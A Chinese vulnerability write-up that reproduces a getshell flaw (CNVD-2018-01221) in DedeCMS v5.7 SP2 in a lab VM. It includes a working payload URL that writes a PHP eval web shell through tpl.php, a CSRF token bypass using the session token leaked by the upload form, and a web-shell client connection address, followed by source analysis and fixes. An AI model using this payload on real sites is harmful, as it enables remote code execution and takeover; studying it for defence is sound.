漏洞名:
CNVD-2018-01221
影响:
Dedecms v5.7 sp2
危害:
任意代码执行,getshell;
准备工作:
win7虚拟机+Dedecms v5.7 sp2+phpstudy
首先安装Dedecms v5.7 sp2:
http://www.dedecms.com
下载安装之后直接访问localhost/Dedecms v5.7 sp2/uploads
会自动跳到安装界面,输入数据库信息,全部默认配置就行
然后进行后台登录,默认账号是admin,密码是admin
复现过程:
payload:
域名/tpl.php?action=savetagfile&token=&filename=abc.lib.php&content=<?php @eval($_POST['xxx'])?>
中国菜刀连接地址为:
http://192.168.91.141/DedeCMS-V5.7-UTF8-SP2/uploads/include/taglib/abc.lib.php
原理分析:
通过开源的漏洞知道漏洞发生点在/uploads/dede/tpl.php 打开tpl.php查看源码,这是漏洞发生的地方:else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
...
exit();
}
从以上源码可以得出信息:
我们传入的action参数如果为savetagfile的话,那么就会进行crsf_check函数的检验
crsf_check:
function csrf_check()
{
global $token;
if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
exit;
}
}
这是对session进行检验,需要绕过if,就说明需要设置token,并且需要token的值为session;而在tpl.php中只有当action=upload的时候才会获取session:
else if ($action == 'upload')
{
require_once(dirname(__FILE__).'/../include/oxwindow.class.php');
$acdir = str_replace('.', '', $acdir);
$win = new OxWindow();
make_hash();
$win->Init("tpl.php","js/blank.js","POST' enctype='multipart/form-data' ");
$win->mainTitle = "模块管理";
$wecome_info = "<a href='templets_main.php'>模板管理</a> >> 上传模板";
$win->AddTitle('请选择要上传的文件:');
$win->AddHidden("action",'uploadok');
$msg = "
<table width='600' border='0' cellspacing='0' cellpadding='0'>
<tr>
<td width='96' height='60'>请选择文件:</td>
<td width='504'>
<input name='acdir' type='hidden' value='$acdir' />
<input name='token' type='hidden' value='{$_SESSION['token']}' />
<input name='upfile' type='file' id='upfile' style='width:380px' />
</td>
</tr>
</table>
";
$win->AddMsgItem("<div style='padding-left:20px;line-height:150%'>$msg</div>");
$winform = $win->GetWindow('ok','');
$win->Display();
exit();
}
所以我们先让action=upload,查看源码得到session:
这样可以构造:token=0f94451b9ba02137db944f04d87bc8ec来进行crsf_check的绕过
tpl.php告诉我们要上传的参数有:action,token,filename,content
并且filename要有.lib和.php,并且生成文件路径在/taglib/下,也就是uploads\include\taglib下
所以会构造payload:
url/uploads/dede/tpl.php?action=savetagfile&token=yoursession&filename=1.lib.php&content=<?php eval($_POST['cmd']);?>
漏洞补救:
1.将tpl.php里面action=upload那一部分改为:
<td width='96' height='60'>请选择文件:</td>
<td width='504'>
<input name='acdir' type='hidden' value='$acdir' />
<input name='token' type='hidden' value='' />//将这里的{$_SESSION['token']}删除
<input name='upfile' type='file' id='upfile' style='width:380px' />
</td>
</tr>
这样找不到session,就会被crsf_check检验出来,但是这样的安全性也不高;
2.其实上传可执行文件这个功能就挺危险的,但是又非要使用这个功能;那就对用户输入进行过滤,尝试进行过滤危险字段或者危险标签(但是总有绕过的方法)
3.可以尝试将上传文件的名字修改为随机数,这样的安全性相对高一点。